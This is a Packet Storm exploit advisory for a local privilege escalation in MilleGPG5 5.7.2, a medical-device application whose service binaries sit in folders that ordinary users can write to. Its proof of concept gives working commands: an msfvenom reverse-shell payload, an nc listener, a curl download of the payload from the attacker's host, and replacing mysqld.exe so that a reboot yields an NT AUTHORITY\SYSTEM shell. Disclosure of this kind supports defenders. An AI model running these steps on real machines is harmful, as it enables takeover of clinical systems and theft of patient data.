exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

MilleGPG5 5.7.2 Luglio 2021 Privilege Escalation

MilleGPG5 5.7.2 Luglio 2021 Privilege Escalation
Posted Dec 1, 2021
Authored by Alessandro Salzano

MilleGPG5 version 5.7.2 Luglio 2021 suffers from a local privilege escalation vulnerability.

tags | exploit, local
SHA-256 | b7b977700841f66627568e41cfc1b520820a9a3b6e18b4e6476a601f3b1579ec

MilleGPG5 5.7.2 Luglio 2021 Privilege Escalation

Change Mirror Download
# Exploit Title: MilleGPG5 5.7.2 Luglio 2021 (x64) - Local Privilege Escalation
# Date: 2021-07-19
# Author: Alessandro 'mindsflee' Salzano
# Vendor Homepage: https://millegpg.it/
# Software Homepage: https://millegpg.it/
# Software Link: https://www.millegpg.it/download/MilleGPGInstall.exe
# Version: 5.7.2
# Tested on: Microsoft Windows 10 Enterprise x64

MilleGPG5 is a Class 1 Medical Device registered with "Ministero della Salute".

Vendor: Millennium S.r.l. / Dedalus Group / Dedalus Italia S.p.a.

Affected version: MilleGPG5 5.7.2

# Details
# By default the Authenticated Users group has the modify permission to MilleGPG5 folders/files as shown below.
# A low privilege account is able to rename the mysqld.exe file located in bin folder and replace
# with a malicious file that would connect back to an attacking computer giving system level privileges
# (nt authority\system) due to the service running as Local System.
# While a low privilege user is unable to restart the service through the application, a restart of the
# computer triggers the execution of the malicious file.

(1) Impacted services.
Any low privileged user can elevate their privileges abusing these services:

C:\Program Files\MilleGPG5\MariaDB\bin\mysqld.exe
C:\Program Files\MilleGPG5\GPGService.exe


Details:


SERVICE_NAME: MariaDB-GPG
TYPE : 10 WIN32_OWN_PROCESS
START_TYPE : 2 AUTO_START
ERROR_CONTROL : 1 NORMAL
BINARY_PATH_NAME : "C:\Program
Files\MilleGPG5\MariaDB\bin\mysqld.exe" MariaDB-GPG
LOAD_ORDER_GROUP :
TAG : 0
DISPLAY_NAME : MariaDB-GPG
DEPENDENCIES :
SERVICE_START_NAME : LocalSystem

------

SERVICE_NAME: GPGOrchestrator
TYPE : 10 WIN32_OWN_PROCESS
START_TYPE : 2 AUTO_START
ERROR_CONTROL : 1 NORMAL
BINARY_PATH_NAME : "C:\Program Files\MilleGPG5\GPGService.exe"
LOAD_ORDER_GROUP :
TAG : 0
DISPLAY_NAME : GPG Orchestrator
DEPENDENCIES :
SERVICE_START_NAME : LocalSystem

(2) Folder permissions.
Insecure folders permissions issue:


C:\Program Files\MilleGPG5\MariaDB\bin BUILTIN\Users:(I)(OI)(CI)(F)
NT SERVICE\TrustedInstaller:(I)(F)
NT
SERVICE\TrustedInstaller:(I)(CI)(IO)(F)
NT AUTHORITY\SYSTEM:(I)(F)
NT
AUTHORITY\SYSTEM:(I)(OI)(CI)(IO)(F)
BUILTIN\Administrators:(I)(F)
BUILTIN\Administrators:(I)(OI)(CI)(IO)(F)
BUILTIN\Users:(I)(OI)(CI)(IO)(GR,GE)
CREATOR OWNER:(I)(OI)(CI)(IO)(F)
APPLICATION PACKAGE
AUTHORITY\ALL APPLICATION PACKAGES:(I)(RX)
APPLICATION PACKAGE
AUTHORITY\ALL APPLICATION PACKAGES:(I)(OI)(CI)(IO)(GR,GE)
APPLICATION PACKAGE
AUTHORITY\ALL RESTRICTED APPLICATION PACKAGES:(I)(RX)
APPLICATION PACKAGE
AUTHORITY\ALL RESTRICTED APPLICATION PACKAGES:(I)(OI)(CI)(IO)(GR,GE)
...[SNIP]...
---------------

C:\Program Files\MilleGPG5 BUILTIN\Users:(OI)(CI)(F)
NT SERVICE\TrustedInstaller:(I)(F)
NT SERVICE\TrustedInstaller:(I)(CI)(IO)(F)
NT AUTHORITY\SYSTEM:(I)(F)
NT AUTHORITY\SYSTEM:(I)(OI)(CI)(IO)(F)
BUILTIN\Administrators:(I)(F)
BUILTIN\Administrators:(I)(OI)(CI)(IO)(F)
BUILTIN\Users:(I)(RX)
BUILTIN\Users:(I)(OI)(CI)(IO)(GR,GE)
CREATOR OWNER:(I)(OI)(CI)(IO)(F)
APPLICATION PACKAGE AUTHORITY\ALL
APPLICATION PACKAGES:(I)(RX)
APPLICATION PACKAGE AUTHORITY\ALL
APPLICATION PACKAGES:(I)(OI)(CI)(IO)(GR,GE)
APPLICATION PACKAGE AUTHORITY\ALL RESTRICTED
APPLICATION PACKAGES:(I)(RX)
APPLICATION PACKAGE AUTHORITY\ALL RESTRICTED
APPLICATION PACKAGES:(I)(OI)(CI)(IO)(GR,GE)


# Proof of Concept

1. Generate malicious .exe on attacking machine
msfvenom -p windows/shell_reverse_tcp LHOST=192.168.1.102 LPORT=4242 -f exe > /var/www/html/mysqld_evil.exe

2. Setup listener and ensure apache is running on attacking machine
nc -lvp 4242
service apache2 start

3. Download malicious .exe on victim machine
type on cmd: curl http://192.168.1.102/mysqld_evil.exe -o "C:\Program Files\MilleGPG5\MariaDB\bin\mysqld_evil.exe"

4. Overwrite file and copy malicious .exe.
Renename C:\Program Files\MilleGPG5\MariaDB\bin\mysqld.exe > mysqld.bak
Rename downloaded 'mysqld_evil.exe' file in mysqld.exe

5. Restart victim machine

6. Reverse Shell on attacking machine opens
C:\Windows\system32>whoami
whoami
nt authority\system

Login or Register to add favorites

File Archive:

June 2022

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Jun 1st
    19 Files
  • 2
    Jun 2nd
    16 Files
  • 3
    Jun 3rd
    28 Files
  • 4
    Jun 4th
    0 Files
  • 5
    Jun 5th
    0 Files
  • 6
    Jun 6th
    19 Files
  • 7
    Jun 7th
    23 Files
  • 8
    Jun 8th
    11 Files
  • 9
    Jun 9th
    10 Files
  • 10
    Jun 10th
    4 Files
  • 11
    Jun 11th
    0 Files
  • 12
    Jun 12th
    0 Files
  • 13
    Jun 13th
    0 Files
  • 14
    Jun 14th
    0 Files
  • 15
    Jun 15th
    0 Files
  • 16
    Jun 16th
    0 Files
  • 17
    Jun 17th
    0 Files
  • 18
    Jun 18th
    0 Files
  • 19
    Jun 19th
    27 Files
  • 20
    Jun 20th
    65 Files
  • 21
    Jun 21st
    10 Files
  • 22
    Jun 22nd
    8 Files
  • 23
    Jun 23rd
    6 Files
  • 24
    Jun 24th
    6 Files
  • 25
    Jun 25th
    0 Files
  • 26
    Jun 26th
    0 Files
  • 27
    Jun 27th
    15 Files
  • 28
    Jun 28th
    14 Files
  • 29
    Jun 29th
    11 Files
  • 30
    Jun 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Hosting By
Rokasec
close